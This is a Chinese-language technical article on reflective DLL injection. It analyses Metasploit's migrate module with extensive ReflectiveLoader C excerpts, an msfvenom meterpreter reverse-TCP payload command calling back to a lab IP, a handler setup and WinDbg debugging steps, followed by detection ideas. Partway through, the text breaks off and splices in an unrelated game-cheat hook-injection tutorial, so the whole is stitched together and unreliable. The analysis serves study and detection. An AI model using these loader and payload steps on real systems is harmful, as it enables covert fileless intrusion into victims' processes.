dll注入技術是讓某個進程主動加載指定的dll的技術。惡意軟件為了提高隱蔽性,通常會使用dll注入技術將自身的惡意代碼以dll的形式注入高可信進程。
常規的dll注入技術使用LoadLibraryA()函數來使被注入進程加載指定的dll。常規dll注入的方式一個致命的缺陷是需要惡意的dll以文件的形式存儲在受害者主機上。這樣使得常規dll注入技術在受害者主機上留下痕跡較大,很容易被edr等安全產品檢測到。為了彌補這個缺陷,stephen fewer提出了反射式dll注入技術并在github開源,反射式dll注入技術的優勢在于可以使得惡意的dll通過socket等方式直接傳輸到目標進程內存并加載,期間無任何文件落地,安全產品的檢測難度大大增加。
本文將從dll注入技術簡介、msf migrate模塊剖析、檢測思路和攻防對抗的思考等方向展開說明反射式dll注入技術。
常規dll注入有:
以使用CreateRemoteThread()函數進行dll注入的方式為例,實現思路如下:
常規dll注入示意圖如上圖所示。該圖直接從步驟3)開始,步驟1)和步驟2)不在贅述。
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反射式dll注入與常規dll注入類似,而不同的地方在于反射式dll注入技術自己實現了一個reflective loader()函數來代替LoadLibaryA()函數去加載dll,示意圖如下圖所示。藍色的線表示與用常規dll注入相同的步驟,紅框中的是reflective loader()函數行為,也是下面重點描述的地方。
Reflective loader實現思路如下:
msf的migrate模塊是post階段的一個模塊,其作用是將meterpreter payload從當前進程遷移到指定進程。
在獲得meterpreter session后可以直接使用migrate命令遷移進程,其效果如下圖所示:
migrate的模塊的實現和stephen fewer的ReflectiveDLLInjection項目大致相同,增加了一些細節,其實現原理如下:
原理圖如下所示:
圖中紅色的線表示與常規反射式dll注入不同的地方。紅色的填充表示修改內容,綠色的填充表示增加內容。migrate模塊的reflective loader是直接復用了stephen fewer的ReflectiveDLLInjection項目的ReflectiveLoader.c中的ReflectiveLoader()函數。下面我們主要關注reflective loader的行為。
ReflectiveLoader()首先會調用caller()函數
uiLibraryAddress=caller();
caller()函數實質上是_ReturnAddress()函數的封裝。caller()函數的作用是獲取caller()函數的返回值,在這里也就是ReflectiveLoader()函數中調用caller()函數的下一條指令的地址。
#ifdef __MINGW32__
#define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0))
#else
#pragma intrinsic(_ReturnAddress)
#define WIN_GET_CALLER() _ReturnAddress()
#endif
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)WIN_GET_CALLER(); }
然后,向低地址逐字節比較是否為為dos頭的標識MZ字串,若當前地址的內容為MZ字串,則把當前地址認為是dos頭結構體的開頭,并校驗dos頭e_lfanew結構成員是否指向pe頭的標識”PE”字串。若校驗通過,則認為當前地址是正確的dos頭結構體的開頭。
while( TRUE )
{
//將當前地址當成dos頭結構,此結構的e_magic成員變量是否指向MZ子串
if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic==IMAGE_DOS_SIGNATURE )
{
uiHeaderValue=((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
if( uiHeaderValue >=sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
{
uiHeaderValue +=uiLibraryAddress;
//判斷e_lfanew結構成員是否指向PE子串,是則跳出循環,取得未解析dll的基地址
if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature==IMAGE_NT_SIGNATURE )
break;
}
}
uiLibraryAddress--;
}
獲取必要的dll句柄是通過遍歷peb結構體中的ldr成員中的InMemoryOrderModuleList鏈表獲取dll名稱,之后算出dll名稱的hash,最后進行hash對比得到最終的hash。
uiBaseAddress=(ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
uiValueA=(ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while( uiValueA )
{
uiValueB=(ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
usCounter=((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
uiValueC=0;
ULONG_PTR tmpValC=uiValueC;
//計算tmpValC所指向子串的hash值,并存儲在uiValueC中
....
if( (DWORD)uiValueC==KERNEL32DLL_HASH )
必要的函數是遍歷函數所在的dll導出表獲得函數名稱,然后做hash對比得到的。
uiBaseAddress=(ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
uiExportDir=uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
uiNameArray=(ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
uiExportDir=( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
uiNameArray=( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
uiNameOrdinals=( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter=3;
while( usCounter > 0 )
{
dwHashValue=_hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
if( dwHashValue==LOADLIBRARYA_HASH
//等于其他函數hash的情況
|| ...
)
{
uiAddressArray=( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
uiAddressArray +=( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
if( dwHashValue==LOADLIBRARYA_HASH )
pLoadLibraryA=(LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
//等于其他函數hash的情況
...
usCounter--;
}
uiNameArray +=sizeof(DWORD);
uiNameOrdinals +=sizeof(WORD);
}
}
Nt optional header結構體中的SizeOfImage變量存儲著pe文件在內存中解析后所占的內存大小。所以ReflectiveLoader()獲取到SizeOfImage的大小,分配一塊新內存,然后按照section headers結構中的文件相對偏移和相對虛擬地址,將pe節一一映射到新內存中。
//分配SizeOfImage的新內存
uiBaseAddress=(ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
...
uiValueA=((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
uiValueB=uiLibraryAddress;
uiValueC=uiBaseAddress;
//將所有頭和節表逐字節復制到新內存
while( uiValueA-- )
*(BYTE *)uiValueC++=*(BYTE *)uiValueB++;
//解析每一個節表項
uiValueA=( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
uiValueE=((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while( uiValueE-- )
{
uiValueB=( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
uiValueC=( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
uiValueD=((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
//將每一節的內容復制到新內存對應的位置
while( uiValueD-- )
*(BYTE *)uiValueB++=*(BYTE *)uiValueC++;
uiValueA +=sizeof( IMAGE_SECTION_HEADER );
}
首先更具導入表結構,找到導入函數所在的dll名稱,然后使用loadlibary()函數載入dll,根據函數序號或者函數名稱,在載入的dll的導出表中,通過hash對比,并把找出的函數地址寫入到新內存的IAT表中。
uiValueB=(ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
uiValueC=( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
//當沒有到達導入表末尾時
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics )
{
//使用LoadLibraryA()函數加載對應的dll
uiLibraryAddress=(ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
...
uiValueD=( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
//IAT表
uiValueA=( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
while( DEREF(uiValueA) )
{
//如果導入函數是通過函數編號導入
if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
{ //通過函數編號索引導入函數所在dll的導出函數
uiExportDir=uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
uiNameArray=(ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
uiExportDir=( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
uiAddressArray=( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
uiAddressArray +=( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
//將對應的導入函數地址寫入IAT表
DEREF(uiValueA)=( uiLibraryAddress + DEREF_32(uiAddressArray) );
}
else
{
//導入函數通過名稱導入的
uiValueB=( uiBaseAddress + DEREF(uiValueA) );
DEREF(uiValueA)=(ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
}
uiValueA +=sizeof( ULONG_PTR );
if( uiValueD )
uiValueD +=sizeof( ULONG_PTR );
}
uiValueC +=sizeof( IMAGE_IMPORT_DESCRIPTOR );
}
重定位表是為了解決程序指定的imagebase被占用的情況下,程序使用絕對地址導致訪問錯誤的情況。一般來說,在引用全局變量的時候會用到絕對地址。這時候就需要去修正對應內存的匯編指令。
uiLibraryAddress=uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
uiValueB=(ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
//如果重定向表的值不為0,則修正重定向節
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
{
uiValueE=((PIMAGE_BASE_RELOCATION)uiValueB)->SizeOfBlock;
uiValueC=( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
while( uiValueE && ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
{
uiValueA=( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
uiValueB=( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
uiValueD=uiValueC + sizeof(IMAGE_BASE_RELOCATION);
//根據不同的標識,修正每一項對應地址的值
while( uiValueB-- )
{
if( ((PIMAGE_RELOC)uiValueD)->type==IMAGE_REL_BASED_DIR64 )
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) +=uiLibraryAddress;
else if( ((PIMAGE_RELOC)uiValueD)->type==IMAGE_REL_BASED_HIGHLOW )
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) +=(DWORD)uiLibraryAddress;
else if( ((PIMAGE_RELOC)uiValueD)->type==IMAGE_REL_BASED_HIGH )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) +=HIWORD(uiLibraryAddress);
else if( ((PIMAGE_RELOC)uiValueD)->type==IMAGE_REL_BASED_LOW )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) +=LOWORD(uiLibraryAddress);
uiValueD +=sizeof( IMAGE_RELOC );
}
uiValueE -=((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
uiValueC=uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
}
}
本節一方面是演示如何實際的動態調試msf的migrate模塊,另一方面也是3.1.1的一個補充,從匯編層次來看3.1.1節會更容易理解。
首先用msfvenom生成payload
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.75.132 lport=4444 -f exe -o msf.exe
并使用msfconsole設置監聽
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcppayload=> windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 0.0.0.0
lhost=> 0.0.0.0
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 0.0.0.0:4444
之后在受害機使用windbg啟動msf.exe并且
bu KERNEL32!CreateRemoteThread;g
獲得被注入進程新線程執行的地址,以便調試被注入進程。
當建立session連接后,在msfconsole使用migrate命令
migrate 5600 //5600是要遷移的進程的pid
然后msf.exe在CreateRemoteThread函數斷下,CreateRemoteThread函數原型如下
HANDLE CreateRemoteThread(
[in] HANDLE hProcess,
[in] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in] LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out] LPDWORD lpThreadId
);
所以我們要找第四個參數lpStartAddress的值,即r9寄存器的內容,
使用
!address 000001c160bb0000
去notepad進程驗證一下,是可讀可寫的內存,基本上就是對的
此時的地址是migrate stub匯編代碼的地址,我們期望直接斷在reflective loader的函數地址,我們通過
s -a 000001c1`60bb0000 L32000 MZ //000001c1`60bb0000為上面的lpStartAddress,3200為我們獲取到的內存塊大小
直接去搜MZ字串定位到meterpreter loader匯編的地址,進而定位到reflective loader的函數地址
meterpreter loader將reflective loader函數的地址放到rbx中,所以我們可直接斷在此處,進入reflective loader的函數,如下圖所示
reflective loader首先call 000001c1`60bb5dc9也就是caller()函數,caller()函數的實現就比較簡單了,一共兩條匯編指令,起作用就是返回下一條指令的地址
在這里也就是0x000001c160bb5e08
獲得下一條指令后的地址后,就會比較獲取的地址的內容是否為MZ如果不是的話就會把獲取的地址減一作為新地址比較,如果是的話,則會比較e_lfanew結構成員是否指向PE,若是則此時的地址作為dll的基地址。后面調試過程不在贅述。
反射式dll注入技術有很多種檢測方法,如內存掃描、IOA等。下面是以內存掃描為例,我想到的一些掃描策略和比較好的檢測點。
掃描策略:
檢測點多是跟reflective loader函數的行為有關,檢測點如下:
深信服云主機安全保護平臺CWPP能夠有效檢測此類利用反射式DLL注入payload的無文件攻擊技術。檢測結果如圖所示:
對于標準的反射dll注入是有很多種檢測方式的,主要是作者沒有刻意的做免殺,下面對于我搜集到了一些免殺方式,探討一下其檢測策略。
01
DLL注入方式
外掛的注入方式有很多種,針對不同場景需求使用不同方式,咱們就來搞個專題 探討下。dll一旦成功注入進目標進程,就可以隨意讀寫 目標進程的內存(比如讀取血量或者修改某些值或者地址從而實現某些變態功能或者HOOK)還可以調用call 注入自己的代碼等等 。消息鉤子、遠程進程注入、入口點注入等等。注入方式可謂十幾種,大家感興趣的話支持一下。下此繼續更新此系列
02
鉤子注入
今天我們講的是鉤子注入,算是比較簡單的一種了。但是網上看了一遍 都有很多錯誤的寫法 而且基本都是全局的鉤子,咱們今天重點來講下針對目標進程的鉤子注入,很多外掛也是用這種方式來做界面控制臺的收費端的
首先我們來看下SetWindowsHookExA這個 api
HHOOK SetWindowsHookExA( [in] int idHook, [in] HOOKPROC lpfn, [in] HINSTANCE hmod, [in] DWORD dwThreadId );
參數1: 表示你要HOOK的消息類型 是鍵盤還是鼠標 還是其他的
參數2:HOOK的消息回調函數
參數3:目標的句柄
參數4:目標的線程ID
了解了API后 我們來思考幾個問題:
1鉤子注入的流程
2參數2的 消息回調函數是哪個進程的,是不是應該是目標進程的消息回調,總不能是咱們注入程序的把
3既然是目標程序的,我們如何獲取他的消息回調函數
以上三個問題解決了,咱們就可以實現局部鉤子注入了
03
鉤子注入流程
鉤子注入流程是這樣的:
1 在要被注入的dll 里面寫好消息回調函數
并且寫個導出函數
2注入程序:用loadlibrary() 加載一次 要被注入的dll 從而獲取到模塊句柄
GetProcAddress可以獲取到導出函數的地址 這樣就可以取到要被注入的dll 里面的回調函數的地址了。
這樣的方式 咱們就可以在目標程序內部實現鍵盤注入 比如按HOME 呼出界面。 而不是全局鉤子了
核心代碼也就這么些行 理解有問題的話可以來找我要源碼或者和我探討
微塵網絡安全
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公眾號
感興趣的人多我會繼續更新此系列,把每種注入方式都講一遍 并且附上源碼